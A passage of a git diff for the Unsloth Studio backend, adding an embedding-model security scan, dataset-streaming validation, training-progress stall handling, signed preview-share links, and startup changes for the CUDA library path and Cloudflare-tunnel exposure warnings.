model] + try: + from huggingface_hub import list_repo_files + except Exception: # noqa: BLE001 - hub client unavailable: don't block saving + return None + for candidate in candidates: + try: + files = list_repo_files(candidate, token = hf_token) + except Exception: # noqa: BLE001 - missing/gated repo: try next candidate + continue + if any(f.lower().endswith(".gguf") and "mmproj" not in f.lower() for f in files): + return None + checked = " or ".join(repr(c) for c in candidates) + return ( + f"No GGUF weights found in {checked}, but this install embeds with the " + "llama-server backend which requires them. Pick a model with a GGUF " + "companion repo or GGUF files in the repo itself." + ) + + +@router.get("/embedding-model", response_model = EmbeddingModelResponse) +def get_embedding_model( + current_subject: str = Depends(get_current_subject), +) -> EmbeddingModelResponse: + return _embedding_model_response() + + +@router.put("/embedding-model", response_model = EmbeddingModelResponse) +def update_embedding_model( + payload: EmbeddingModelPayload, current_subject: str = Depends(get_current_subject) +) -> EmbeddingModelResponse: + """Set the RAG embedding model. Unless ``force`` is set, the repo is verified + to be an embedding model via HF metadata; an unverifiable model (wrong type, + typo, gated repo, or no network) returns 409 so the UI can offer "save anyway". + A repo flagged unsafe by HF's security scan returns 403 instead: a hard block + that ``force`` cannot bypass, so the UI must not offer "save anyway". + Documents indexed under the previous model must be re-uploaded.""" + from utils.models import is_embedding_model + + try: + model = validate_embedding_model(payload.embedding_model) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid embedding model."), + event = "settings.update_embedding_model_failed", + log = logger, + ) from exc + hf_token = (payload.hf_token or "").strip() or None + # The env/default model needs no verification; saving it is a no-op override. + # A local GGUF on the llama-server backend is accepted as-is: it is exactly + # what the backend loads, and HF metadata cannot verify a local path. + is_local_gguf = _llama_backend_active() and _resolves_as_local_gguf(model) + # The pickle gate only matters for the sentence-transformers backend, which is what + # deserializes pickles. On the llama-server backend the embedder loads GGUF files + # (inert) from effective_gguf_repo(), so scanning the ST repo's pickle here would + # wrongly reject a custom repo whose GGUF companion is clean; the GGUF availability + # checks below cover that path instead. + scan_st_pickle = ( + model != default_embedding_model() and not is_local_gguf and not _llama_backend_active() + ) + if scan_st_pickle: + # Malware/pickle gate before we persist a repo the embedder later loads with + # SentenceTransformer. Runs even under force (force only skips the is-embedding + # type check for offline/local repos HF cannot verify); local paths and + # unreachable scans fail open inside evaluate_file_security. + from utils.security import evaluate_file_security, security_load_subdirs + from core.rag.embeddings import _st_module_subdirs + + # Fall back to the loader's own token so a gated/private repo is actually scanned + # (a token-less scan fails open for exactly the repo that would still load). + scan_token = hf_token or _ambient_hf_token() + # Include the ST module dirs (0_Transformer/) so a flagged pickle directly under + # one blocks instead of passing as an unreferenced nested shard. + load_subdirs = tuple( + dict.fromkeys( + ( + *security_load_subdirs(model, scan_token), + *_st_module_subdirs(model, scan_token), + ) + ) + ) + if evaluate_file_security(model, hf_token = scan_token, load_subdirs = load_subdirs).blocked: + # 403, not 409: the client routes every 409 into the forceable "save anyway" + # flow, but this block is a hard, non-forceable security refusal. + raise HTTPException( + status_code = 403, + detail = ( + f"{model!r} is flagged as unsafe by Hugging Face's security scan and " + "cannot be used as the embedding model." + ), + ) + if model != default_embedding_model() and not payload.force and not is_local_gguf: + from core.rag import config as rag_config + + # A GGUF-named repo on the llama-server backend is loaded from its .gguf + # files, which rarely carry sentence-transformers metadata; verify the + # GGUF is available (below) rather than the ST embedding-metadata gate, + # which would wrongly 409 a valid online GGUF embedder. + gguf_named = _llama_backend_active() and rag_config._names_gguf(model) + if not gguf_named and not is_embedding_model(model, hf_token = hf_token): + raise HTTPException( + status_code = 409, + detail = ( + f"Could not verify {model!r} as an embedding model on " + "Hugging Face (it may be the wrong model type, gated, or " + "you may be offline)." + ), + ) + gguf_error = _local_gguf_backend_error(model) or _hf_gguf_backend_error(model, hf_token) + if gguf_error: + raise HTTPException(status_code = 409, detail = gguf_error) + set_rag_embedding_model(model) + logger.info( + "settings.embedding_model_updated subject=%s model=%s forced=%s", + current_subject, + model, + payload.force, + ) + return _embedding_model_response() + + +@router.delete("/embedding-model", response_model = EmbeddingModelResponse) +def reset_embedding_model( + current_subject: str = Depends(get_current_subject), +) -> EmbeddingModelResponse: + """Clear the override, returning to the env/default model.""" + reset_rag_embedding_model() + logger.info("settings.embedding_model_reset subject=%s", current_subject) + return _embedding_model_response() + + +class PreviewLinkRotateResponse(BaseModel): + rotated: bool = True + + +@router.post("/preview-links/rotate", response_model = PreviewLinkRotateResponse) +def rotate_preview_links( + current_subject: str = Depends(get_current_subject), +) -> PreviewLinkRotateResponse: + """Rotate the preview-link signing secret, revoking every previously shared `/p` link.""" + rotate_preview_link_secret() + logger.info("settings.preview_links_rotated subject=%s", current_subject) + return PreviewLinkRotateResponse(rotated = True) + + +class PreviewSharingPayload(BaseModel): + enabled: bool + + +class PreviewSharingResponse(BaseModel): + enabled: bool + default_enabled: bool = DEFAULT_PREVIEW_SHARING_ENABLED + + +@router.get("/preview-sharing", response_model = PreviewSharingResponse) +def get_preview_sharing( + current_subject: str = Depends(get_current_subject), +) -> PreviewSharingResponse: + return PreviewSharingResponse(enabled = get_preview_sharing_enabled()) + + +@router.put("/preview-sharing", response_model = PreviewSharingResponse) +def update_preview_sharing( + payload: PreviewSharingPayload, current_subject: str = Depends(get_current_subject) +) -> PreviewSharingResponse: + """Enable/disable the public `/p` preview surface. When off, links 404 even with a token.""" + try: + enabled = set_preview_sharing_enabled(payload.enabled) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid preview sharing setting."), + event = "settings.update_preview_sharing_failed", + log = logger, + ) from exc + logger.info("settings.preview_sharing_updated subject=%s enabled=%s", current_subject, enabled) + return PreviewSharingResponse(enabled = enabled) + + +def _is_bundled_avatar_url(value: str) -> bool: + parsed = urlsplit(value) + if parsed.scheme or parsed.netloc: + return False + path = unquote(parsed.path).lstrip("/") + if ".." in path.split("/"): + return False + marker = "Sloth emojis/" + if marker not in path: + return False + return path[path.index(marker) :].lower().endswith(".png") + + +class PersonalizationProfile(BaseModel): + model_config = ConfigDict(extra = "ignore") + + displayName: str = Field("", max_length = 200) + nickname: str = Field("", max_length = 200) + avatarDataUrl: Optional[str] = Field(None, max_length = MAX_AVATAR_DATA_URL_BYTES) + avatarShape: Literal["circle", "rounded"] = "circle" + + @field_validator("avatarDataUrl") + @classmethod + def _validate_avatar(cls, value: Optional[str]) -> Optional[str]: + if not value: + return value + if not value.startswith("data:image/") and not _is_bundled_avatar_url(value): + raise ValueError("avatarDataUrl must be an image data URL or bundled avatar.") + return value + + +class PersonalizationAppearance(BaseModel): + model_config = ConfigDict(extra = "ignore") + + theme: Literal["light", "dark", "system"] = "system" + language: Optional[str] = Field(None, max_length = 20) + + +class PersonalizationPayload(BaseModel): + model_config = ConfigDict(extra = "ignore") + + version: int = PERSONALIZATION_VERSION + profile: PersonalizationProfile = Field(default_factory = PersonalizationProfile) + appearance: PersonalizationAppearance = Field(default_factory = PersonalizationAppearance) + + +class PersonalizationResponse(PersonalizationPayload): + saved: bool = False + + +@router.get("/personalization", response_model = PersonalizationResponse) +def get_personalization_settings( + current_subject: str = Depends(get_current_subject), +) -> PersonalizationResponse: + stored = get_personalization() + response = PersonalizationResponse.model_validate(stored or {}) + response.saved = bool(stored) + return response + + +@router.put("/personalization", response_model = PersonalizationPayload) +def update_personalization_settings( + payload: PersonalizationPayload, current_subject: str = Depends(get_current_subject) +) -> PersonalizationPayload: + try: + set_personalization(payload.model_dump()) + except ValueError as exc: + raise log_and_http_error( + exc, + 400, + safe_error_detail(exc, fallback = "Invalid personalization settings."), + event = "settings.update_personalization_failed", + log = logger, + ) from exc + return payload diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py index 64b64c0e97..1da1c4f425 100644 --- a/studio/backend/routes/training.py +++ b/studio/backend/routes/training.py @@ -47,7 +47,7 @@ except ImportError: from utils.paths import resolve_dataset_path # Auth -from auth.authentication import get_current_subject +from auth.authentication import authenticated_via_api_key, get_current_subject from utils.utils import log_and_http_error @@ -68,6 +68,11 @@ class TrainingStopRequest(PydanticBaseModel): router = APIRouter() logger = get_logger(__name__) +# Consecutive 1s polls without a step update that count as a stall. Applied only +# once stepping: the pre-first-step phase (model load + tokenization) can take far +# longer, and timing out there made a healthy long-prep run look frozen. +_PROGRESS_STALL_TIMEOUT_POLLS = 1800 # ~30 min at 1 poll/sec + def _validate_local_dataset_paths(paths: list[str], label: str = "Local dataset") -> list[str]: """Resolve and validate a list of local dataset paths. Returns validated absolute paths.""" @@ -109,7 +114,9 @@ async def get_visible_hardware_utilization(current_subject: str = Depends(get_cu @router.post("/start") async def start_training( - request: TrainingStartRequest, current_subject: str = Depends(get_current_subject) + request: TrainingStartRequest, + current_subject: str = Depends(get_current_subject), + via_api_key: bool = Depends(authenticated_via_api_key), ): """ Start a training job. @@ -120,6 +127,22 @@ async def start_training( try: logger.info(f"Starting training job with model: {request.model_name}") + # When Studio is driven as an inference API (API-key auth), refuse to start + # training while a request is in flight: training frees VRAM by unloading + # the chat model, which would kill the stream. The Studio UI (session auth) + # still starts training and coexists/frees VRAM as before. (A mixed UI+API + # session is not yet special-cased.) + if via_api_key is True: + from core.inference.llama_keepwarm import other_inference_request_count + if other_inference_request_count(current_request_counted = False) > 0: + raise HTTPException( + status_code = 409, + detail = ( + "Cannot start training over the API while an inference request is in " + "progress. Wait for it to finish, or start training from the Studio UI." + ), + ) + # No in-process ensure_transformers_version(): the subprocess # (worker.py) activates the correct version before importing ML libs. @@ -185,9 +208,72 @@ async def start_training( ) request.resume_from_checkpoint = resume_checkpoint + # Validate streaming-mode compatibility before any expensive work. + # Streaming is supported only for Hugging Face text datasets. + if request.dataset_streaming: + if not request.hf_dataset: + raise HTTPException( + status_code = 400, + detail = "dataset_streaming requires hf_dataset; streaming is not supported for local datasets.", + ) + if request.is_dataset_image or request.is_dataset_audio: + raise HTTPException( + status_code = 400, + detail = "dataset_streaming is not supported for vision or audio datasets.", + ) + if request.is_embedding: + raise HTTPException( + status_code = 400, + detail = "dataset_streaming is not supported for embedding training; the embedding loader needs the full dataset.", + ) + from utils.hardware import hardware as _hw + + if _hw.DEVICE == _hw.DeviceType.MLX: + raise HTTPException( + status_code = 400, + detail = "dataset_streaming is not yet supported on Apple Silicon (MLX); the MLX loader materializes the full dataset.", + ) + if request.max_steps is None or request.max_steps <= 0: + raise HTTPException( + status_code = 422, + detail = "dataset_streaming requires max_steps > 0 because streaming datasets have no known length.", + ) + if request.train_on_completions: + raise HTTPException( + status_code = 422, + detail = "dataset_streaming is not supported with train_on_completions yet.", + ) + if request.eval_steps > 0: + train_split = request.train_split or "train" + if not request.eval_split or request.eval_split == train_split: + raise HTTPException( + status_code = 422, + detail = "dataset_streaming with evaluation requires a separate eval_split.", + ) + # Streaming is HF-only: reject when the request also carries a local + # dataset path or an S3 config; those sources cannot be streamed via + # HF's streaming loader. + if request.local_datasets: + raise HTTPException( + status_code = 400, + detail = ( + "dataset_streaming is HF-only; remove local_datasets / S3 source. " + "Streaming is not supported with local file paths." + ), + ) + if request.s3_config is not None: + raise HTTPException( + status_code = 400, + detail = ( + "dataset_streaming is HF-only; remove local_datasets / S3 source. " + "Streaming is not supported with S3 datasets." + ), + ) + # Convert request to backend kwargs. training_kwargs = { "model_name": request.model_name, + "project_name": request.project_name, "training_type": request.training_type, "hf_token": request.hf_token or "", "load_in_4bit": request.load_in_4bit, @@ -199,6 +285,7 @@ async def start_training( "format_type": request.format_type, "subset": request.subset, "train_split": request.train_split, + "dataset_streaming": request.dataset_streaming, "eval_split": request.eval_split, "eval_steps": request.eval_steps, "dataset_slice_start": request.dataset_slice_start, @@ -249,6 +336,7 @@ async def start_training( "resume_from_checkpoint": request.resume_from_checkpoint, "trust_remote_code": request.trust_remote_code, "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint, + "subject": current_subject, "gpu_ids": request.gpu_ids, "s3_config": request.s3_config.model_dump() if request.s3_config else None, } @@ -769,9 +857,20 @@ async def stream_training_progress( # ── Live polling loop ──────────────────────────────────── last_step = resume_from_step if resume_from_step is not None else -1 no_update_count = 0 - max_no_updates = 1800 # Timeout after 30 min (large models need compile time) + # The stall timeout applies only once the run is stepping (pre-step prep + # may legitimately emit no step for a long time). On reconnect to an + # already-stepping run, seed from the resume point / history, else a worker + # that hangs after step N never times out for a client that reconnects past it. + seen_live_step = (resume_from_step is not None and resume_from_step > 0) or bool( + backend.step_history + ) while backend.is_training_active(): + # Client gone: end the generator without falling through to the final + # "complete" frame, which a buffered/proxy consumer could otherwise read + # as a finished run while training is still active. + if await request.is_disconnected(): + return try: tp_inner = getattr(getattr(backend, "trainer", None), "training_progress", None) live_step = (getattr(tp_inner, "step", 0) or 0) if tp_inner else 0 @@ -807,6 +906,7 @@ async def stream_training_progress( ) last_step = current_step no_update_count = 0 + seen_live_step = True else: no_update_count += 1 # Heartbeat every 10 seconds. @@ -849,8 +949,9 @@ async def stream_training_progress( event_id = 0, ) - # Timeout check - if no_update_count > max_no_updates: + # Fires only once stepping: a long pre-first-step prep phase is not + # a stall, and ending the stream there made a healthy run look frozen. + if seen_live_step and no_update_count > _PROGRESS_STALL_TIMEOUT_POLLS: logger.warning("Progress stream timeout - no updates received") tp_timeout = getattr( getattr(backend, "trainer", None), "training_progress", None diff --git a/studio/backend/routes/training_history.py b/studio/backend/routes/training_history.py index 1560c72767..c0b5820632 100644 --- a/studio/backend/routes/training_history.py +++ b/studio/backend/routes/training_history.py @@ -6,6 +6,7 @@ Training history API routes — browse, view, and delete past training runs. """ import json +from typing import Optional from fastapi import APIRouter, Depends, HTTPException, Query from loggers import get_logger @@ -27,12 +28,31 @@ from storage.studio_db import ( list_runs, update_run_display_name, ) +from utils.models.checkpoints import has_preview_model, preview_ref +from utils.preview_sharing_settings import get_preview_sharing_enabled +from utils.preview_token import sign_preview_ref logger = get_logger(__name__) router = APIRouter() +def _preview_fields(output_dir: Optional[str], sharing_on: bool) -> dict: + """Previewability + the signed `/p` share ref for a run's output dir. + + The signature is what makes the share link a capability: these routes are + authenticated, so only the run's owner ever receives it. When public sharing + is switched off, omit the signature so the UI hides the copy-link affordance + (and the link would 404 anyway). ``sharing_on`` is resolved once per request. + """ + ref = preview_ref(output_dir) + return { + "has_preview_model": has_preview_model(output_dir), + "preview_ref": ref, + "preview_sig": sign_preview_ref(ref) if (ref and sharing_on) else None, + } + + @router.get("/runs", response_model = TrainingRunListResponse) async def list_training_runs( limit: int = Query(50, ge = 1, le = 200), @@ -41,8 +61,18 @@ async def list_training_runs( ): """List training runs, newest first.""" result = list_runs(limit = limit, offset = offset) + sharing_on = get_preview_sharing_enabled() return TrainingRunListResponse( - runs = [TrainingRunSummary(**{**r, "can_resume": can_resume_run(r)}) for r in result["runs"]], + runs = [ + TrainingRunSummary( + **{ + **r, + "can_resume": can_resume_run(r), + **_preview_fields(r.get("output_dir"), sharing_on), + } + ) + for r in result["runs"] + ], total = result["total"], ) @@ -67,6 +97,7 @@ async def get_training_run_detail(run_id: str, current_subject: str = Depends(ge **{ **{k: v for k, v in run.items() if k != "config_json"}, "can_resume": can_resume_run(run), + **_preview_fields(run.get("output_dir"), get_preview_sharing_enabled()), } ), config = config, @@ -98,6 +129,7 @@ async def update_training_run( **{ **{k: v for k, v in refreshed.items() if k != "config_json"}, "can_resume": can_resume_run(refreshed), + **_preview_fields(refreshed.get("output_dir"), get_preview_sharing_enabled()), } ) diff --git a/studio/backend/run.py b/studio/backend/run.py index 15bb075527..2cc6c4a93e 100644 --- a/studio/backend/run.py +++ b/studio/backend/run.py @@ -12,6 +12,79 @@ import time from pathlib import Path from typing import Optional + +def _fix_torch_cuda_ld_path(): + """Prepend torch's bundled CUDA libs to LD_LIBRARY_PATH. + + PyTorch wheels ship their own CUDA runtime (libcudart, libcublas, ...) in + ``site-packages/nvidia/*/lib``. On Linux the dynamic linker reads + LD_LIBRARY_PATH before the RUNPATH baked into torch's .so files, so a + pre-existing LD_LIBRARY_PATH pointing at a different system CUDA (e.g. + /usr/local/cuda-13/lib64 from conda or a Docker base image) shadows torch's + libs and triggers "undefined symbol" errors when torch is imported. Detect + torch's lib dirs (without importing torch) and prepend them. Returns True if + LD_LIBRARY_PATH was changed. + """ + if sys.platform != "linux": + return False + ld_path = os.environ.get("LD_LIBRARY_PATH", "") + if not ld_path: + return False + try: + import importlib.util + + spec = importlib.util.find_spec("torch") + if not spec or not spec.origin: + return False + torch_dir = os.path.dirname(spec.origin) + site_pkgs = os.path.dirname(torch_dir) + nvidia_dir = os.path.join(site_pkgs, "nvidia") + + lib_dirs = [] + torch_lib = os.path.join(torch_dir, "lib") + if os.path.isdir(torch_lib): + lib_dirs.append(torch_lib) + if os.path.isdir(nvidia_dir): + for sub in sorted(os.listdir(nvidia_dir)): + lib = os.path.join(nvidia_dir, sub, "lib") + if os.path.isdir(lib): + lib_dirs.append(lib) + if not lib_dirs: + return False + + existing = ld_path.split(":") + if existing[: len(lib_dirs)] == lib_dirs: + return False # already at the front, nothing to do + + torch_set = set(lib_dirs) + cleaned = [p for p in existing if p not in torch_set] + os.environ["LD_LIBRARY_PATH"] = ":".join(lib_dirs + cleaned) + return True + except Exception: + return False + + +_LD_FIXED_SENTINEL = "_UNSLOTH_STUDIO_LD_FIXED" + + +def _maybe_reexec_for_cuda_ld_path(): + """Re-exec once so the dynamic linker sees the corrected LD_LIBRARY_PATH. + + LD_LIBRARY_PATH is read at process start, so editing os.environ in-process + cannot fix the running interpreter; a single re-exec is required. Call only + from a true entry point (the ``if __name__ == "__main__"`` block), never at + import time, because os.execv replaces the whole process (an embedder such + as Colab that does ``from run import run_server`` must not be re-exec'd). + """ + if _LD_FIXED_SENTINEL in os.environ: + return + if not _fix_torch_cuda_ld_path(): + return + os.environ[_LD_FIXED_SENTINEL] = "1" + argv = getattr(sys, "orig_argv", None) or [sys.executable, *sys.argv] + os.execv(sys.executable, argv) + + # Suppress C-level dependency warnings globally (e.g. SwigPyPacked). os.environ["PYTHONWARNINGS"] = "ignore" @@ -253,12 +326,13 @@ def _verify_global_reachability(display_host: str, port: int) -> None: local_url_c = "\033[38;5;108;1m" if use_color else "" # matches banner's URL color reset = "\033[0m" if use_color else "" - url = f"http://{display_host}:{port}" + url = f"http://{_url_host(display_host)}:{port}" # Private/loopback/link-local addresses aren't globally routable. try: addr = ipaddress.ip_address(display_host) if addr.is_loopback or addr.is_private or addr.is_link_local: + _public_reachable = False print( f"{dim} Note: {display_host} is a private/LAN address -- " f"reachable on this network only, not from the public internet." @@ -340,34 +414,19 @@ def _verify_global_reachability(display_host: str, port: int) -> None: f"the public internet ({err_nodes}/{total} probe nodes failed).{reset}", flush = True, ) - print(f"{dim} Common causes:{reset}", flush = True) print( - f"{dim} * AWS -- the instance's Security Group doesn't " - f"allow inbound TCP {port}.{reset}", + f"{dim} Usually a cloud firewall (AWS security group, " + f"GCP firewall / Azure NSG rule) or home router isn't " + f"allowing inbound TCP {port}.{reset}", flush = True, ) print( - f"{dim} * GCP -- no firewall rule allowing TCP {port} " - f"for the instance's network tag.{reset}", + f"{dim} No firewall change needed -- SSH local-forward " + f"from your own computer:{reset}", flush = True, ) print( - f"{dim} * Azure / other clouds -- equivalent NSG / " - f"firewall rule missing.{reset}", - flush = True, - ) - print( - f"{dim} * Home -- your router isn't port-forwarding " - f"{port} to this machine.{reset}", - flush = True, - ) - print( - f"{dim} Workaround that needs no firewall changes -- " - f"SSH local-forward from your laptop:{reset}", - flush = True, - ) - print( - f"{dim} ssh -L {port}:localhost:{port} " f"@{display_host}{reset}", + f"{dim} ssh -L {port}:localhost:{port} @{display_host}{reset}", flush = True, ) print( @@ -395,6 +454,20 @@ def _verify_global_reachability(display_host: str, port: int) -> None: pass +def _display_host_for_bind(host: str) -> str: + return _resolve_external_ip() if host in ("0.0.0.0", "::") else host + + +def _loopback_bind_host_for(host: str) -> str: + return "::1" if host == "::" else "127.0.0.1" + + +def _url_host(host: str) -> str: + return ( + f"[{host}]" if ":" in host and not (host.startswith("[") and host.endswith("]")) else host + ) + + def _tool_policy_notice(host: str, secure: bool, enable_tools: "Optional[bool]") -> str: """One-line tool-policy summary for the plain-server startup banner, so a network-reachable launch is never silent about code execution.""" @@ -431,7 +504,7 @@ def _emit_secure_startup_output(port: int, enable_tools: "Optional[bool]" = None print("") print("🦥 Unsloth Studio is running (secure)") print("─" * 52) - _print_cloudflare_line() + _print_cloudflare_line(secure = True) print(f" On this machine only: http://127.0.0.1:{port}/") print("─" * 52) _emit_tool_policy_notice("127.0.0.1", True, enable_tools) @@ -462,30 +535,108 @@ def _emit_startup_output( _print_localhost_ipv6_mismatch_warning(localhost_mismatch_url, port) elif wildcard_bind: _verify_global_reachability(display_host, port) - _print_cloudflare_line() + _print_cloudflare_line(loopback_host = _loopback_bind_host_for(host)) _emit_tool_policy_notice(host, False, enable_tools) print_studio_stop_hint() -def _print_cloudflare_line() -> None: - """Print the Cloudflare quick-tunnel URL for 0.0.0.0 binds, if one is up. - - Reads the module-level URL set by ``run_server``. Prints nothing when the - tunnel is disabled or failed -- failures are silently ignored. When the public - reachability probe just failed (``_public_reachable is False``) but the tunnel - is up, reword to point the user at the Cloudflare link as the way in. - """ - if not _cloudflare_url: - return +def _print_cloudflare_line(secure: bool = False, loopback_host: str = "127.0.0.1") -> None: + """Print Cloudflare tunnel state for startup banners.""" from startup_banner import stdout_supports_color accent = "\033[38;5;150;1m" + warn = "\033[38;5;215;1m" reset = "\033[0m" - if _public_reachable is False: - line = f" Use the secure link access via Cloudflare instead: {_cloudflare_url}" - else: - line = f" Secure link access via Cloudflare: {_cloudflare_url}" - print(f"{accent}{line}{reset}" if stdout_supports_color() else line) + color = stdout_supports_color() + + def _emit(text: str, style: str = "") -> None: + print(f"{style}{text}{reset}" if (color and style) else text) + + if _cloudflare_url: + if _public_reachable is False: + _emit(f" Use the secure link access via Cloudflare instead: {_cloudflare_url}", accent) + else: + _emit(f" Secure link access via Cloudflare: {_cloudflare_url}", accent) + if not secure: + if _public_reachable is True: + _emit( + " Cloudflare tunnel: ON. This Cloudflare URL is PUBLIC, and the " + "raw port is also publicly reachable. --no-cloudflare disables " + f"only the Cloudflare URL; bind {loopback_host} or close firewall " + "access to keep Studio private.", + warn, + ) + else: + _emit( + " Cloudflare tunnel: ON. This is a PUBLIC internet URL: anyone " + "who has it can reach this Studio. Relaunch with --no-cloudflare " + f"to disable the Cloudflare URL; bind {loopback_host} or close " + "firewall access to keep Studio private.", + warn, + ) + return + if _cloudflare_requested: + if _public_reachable is True: + _emit( + " Cloudflare tunnel: requested but failed to start. The raw port is " + "still reachable from the public internet (see the reachability check " + "above): anyone who can reach it can access this Studio.", + warn, + ) + elif _public_reachable is False: + _emit( + " Cloudflare tunnel: requested but failed to start. Studio is reachable " + "on your local network only (no public link).", + warn, + ) + else: + _emit( + " Cloudflare tunnel: requested but failed to start. There is no " + "Cloudflare public link. Raw port reachability was not verified; " + f"bind {loopback_host} or close firewall access to keep Studio private.", + warn, + ) + elif _cloudflare_flag: + if _public_reachable is True: + _emit( + " Cloudflare tunnel: OFF for this mode. The raw port is still " + "reachable from the public internet (see the reachability check above): " + "anyone who can reach it can access this Studio.", + warn, + ) + elif _public_reachable is False: + _emit( + " Cloudflare tunnel: OFF for this mode. Studio is reachable on your " + "local network only (no public link)." + ) + else: + _emit( + " Cloudflare tunnel: OFF for this mode. There is no Cloudflare public " + "link. Raw port reachability was not verified; " + f"bind {loopback_host} or close firewall access to keep Studio private.", + warn, + ) + elif not _cloudflare_flag: + if _public_reachable is True: + _emit( + " Cloudflare tunnel: OFF (--no-cloudflare). The raw port is still " + "reachable from the public internet (see the reachability check above): " + "--no-cloudflare disables only the Cloudflare link, not the public bind.", + warn, + ) + elif _public_reachable is False: + _emit( + " Cloudflare tunnel: OFF (--no-cloudflare). Studio is reachable on your " + "local network only. Omit --no-cloudflare to expose a public " + "Cloudflare HTTPS link." + ) + else: + _emit( + " Cloudflare tunnel: OFF (--no-cloudflare). There is no Cloudflare " + "public link. Raw port reachability was not verified; " + f"bind {loopback_host} or close firewall access to keep Studio private.", + warn, + ) def _get_pid_on_port(port: int) -> "tuple[int, str] | None": @@ -622,7 +773,7 @@ def _graceful_shutdown(server = None): Windows where atexit handlers are unreliable after Ctrl+C. """ _remove_pid_file() - logger.info("Graceful shutdown initiated — cleaning up subprocesses...") + logger.info("Graceful shutdown initiated -- cleaning up subprocesses...") # 1. Shut down uvicorn (releases the listening socket). if server is not None: @@ -677,14 +828,42 @@ def _graceful_shutdown(server = None): logger.info("All subprocesses cleaned up") +# Bound the join so a stuck uvicorn shutdown cannot hang the terminal. +_SERVER_SHUTDOWN_JOIN_TIMEOUT = 5.0 + + +def _flush_standard_streams() -> None: + for stream in (sys.stdout, sys.stderr): + try: + stream.flush() + except Exception: + pass + + +def _wait_for_server_shutdown(timeout: Optional[float] = _SERVER_SHUTDOWN_JOIN_TIMEOUT) -> None: + """Join the uvicorn thread so the prompt returns only after its shutdown logs + flush. Skip the self-join when called from the server thread.""" + import threading + + thread = _server_thread + if thread is None or thread is threading.current_thread(): + _flush_standard_streams() + return + thread.join(timeout = timeout) + if thread.is_alive(): + logger.warning("Timed out waiting for uvicorn server thread to stop") + _flush_standard_streams() + + # The uvicorn server instance -- set by run_server(), used by callers # that tell the server to exit (e.g. signal handlers). _server = None +_server_thread = None # Shutdown event -- wakes the main loop on signal. _shutdown_event = None -# trycloudflare.com URL for 0.0.0.0 binds (set by run_server, read by the banner); +# trycloudflare.com URL for wildcard binds (set by run_server, read by the banner); # None when there is no tunnel (loopback, disabled, or a silently-ignored failure). _cloudflare_url = None @@ -694,6 +873,9 @@ _cloudflare_url = None # not decide (timeout, blocked, private address). _public_reachable = None +_cloudflare_requested = False +_cloudflare_flag = True + _DEFAULT_FRONTEND_PATH = Path(__file__).resolve().parent.parent / "frontend" / "dist" @@ -865,9 +1047,14 @@ def _setup_server_disk_logging(): def _cloudflare_tunnel_should_start( *, cloudflare: bool, host: str, secure: bool, api_only: bool, is_colab: bool ) -> bool: - """Whether to start the Cloudflare tunnel. --secure tunnels a loopback bind too; - non-secure keeps the 0.0.0.0-only rule. Colab/api-only never tunnel.""" - return cloudflare and (host == "0.0.0.0" or secure) and not api_only and not is_colab + """Whether to start the Cloudflare tunnel. --secure exposes only the tunnel + (loopback bind), so it tunnels even api-only (headless secure API serving); + otherwise tunnel wildcard binds, never api-only (Tauri) or Colab.""" + if is_colab or not cloudflare: + return False + if secure: + return True + return host in ("0.0.0.0", "::") and not api_only def _apply_cli_tool_policy(enable_tools: "Optional[bool]") -> None: @@ -891,6 +1078,7 @@ def run_server( cloudflare: bool = True, secure: bool = False, enable_tools: "Optional[bool]" = None, + emit_tauri_port: bool = True, ): """ Start the FastAPI server. @@ -904,12 +1092,18 @@ def run_server( llama_parallel_slots: parallel slots for llama-server enable_tools: explicit --enable-tools/--disable-tools policy; None leaves the default (tools on, per-request enable_tools honored) + emit_tauri_port: print the machine-readable TAURI_PORT line the desktop + app parses from stdout; the headless `run --api-only` path turns it + off so it does not pollute the documented URL/API-key banner Note: Signal handlers are NOT registered here so embedders (e.g. Colab) keep their own interrupt semantics; standalone callers register them after. """ - global _server, _shutdown_event + global _server, _server_thread, _shutdown_event + + boot_started = time.perf_counter() + logger.info("run_server startup begin api_only=%s host=%s port=%s", api_only, host, port) # Reap every child if the parent dies abnormally (terminal close, Task # Manager kill, SIGKILL); must run before any child can spawn. @@ -921,7 +1115,7 @@ def run_server( # port is never public (even with -H 0.0.0.0), and reject the contradictory combo. if secure and not cloudflare: raise SystemExit( - "A secure Cloudflare link is not allowed, use --not-secure which provides a 0.0.0.0 link" + "A secure Cloudflare link is not allowed, use --no-secure which provides a 0.0.0.0 link" ) if secure: host = "127.0.0.1" @@ -946,9 +1140,13 @@ def run_server( if _session_log is not None and not silent: print(f"Session log: {_session_log}") - # Set env var BEFORE importing main so CORS middleware picks it up. + # Set env vars BEFORE importing main so CORS middleware picks them up. + # secure api-only is a remote server behind Cloudflare, so it keeps the + # any-origin CORS profile; plain api-only stays locked to the Tauri app. if api_only: os.environ["UNSLOTH_API_ONLY"] = "1" + if secure: + os.environ["UNSLOTH_SECURE"] = "1" import nest_asyncio @@ -958,7 +1156,14 @@ def run_server( from threading import Thread, Event import uvicorn + import_started = time.perf_counter() + from main import app, setup_frontend, _IS_COLAB + + logger.info( + "Imported FastAPI app in %.1fms", + (time.perf_counter() - import_started) * 1000, + ) from utils.paths import ensure_studio_directories # Allow local stdio MCP servers on a loopback bind (the user's own machine), @@ -971,6 +1176,11 @@ def run_server( # Create all standard directories on startup. ensure_studio_directories() + logger.info( + "Ensured Studio directories in %.1fms", + (time.perf_counter() - boot_started) * 1000, + ) + # Auto-find a free port if the requested one is in use. if not _is_port_free(host, port): original_port = port @@ -1031,9 +1241,14 @@ def run_server( ) # Resolve once; shared by the log rewrite and banner. - display_host = _resolve_external_ip() if host == "0.0.0.0" else host + display_host = _display_host_for_bind(host) _install_uvicorn_startup_log_rewrite(host, display_host) + logger.info( + "run_server pre-uvicorn setup completed in %.1fms", + (time.perf_counter() - boot_started) * 1000, + ) + ready_event = Event() startup_failed = Event() startup_errors = [] @@ -1042,6 +1257,10 @@ def run_server( async def startup(self, *args, **kwargs): await super().startup(*args, **kwargs) if getattr(self, "started", False) and not self.should_exit: + logger.info( + "Uvicorn startup hook completed in %.1fms", + (time.perf_counter() - boot_started) * 1000, + ) ready_event.set() # server_header=False suppresses uvicorn's "Server: uvicorn"; SecurityHeadersMiddleware sets its own. @@ -1067,10 +1286,10 @@ def run_server( # backend, not whatever a proxy/tunnel exposed. For ephemeral binds (port==0) # leave it unset so handlers fall back to the request scope / base_url. app.state.server_port = port if port and port > 0 else None - # 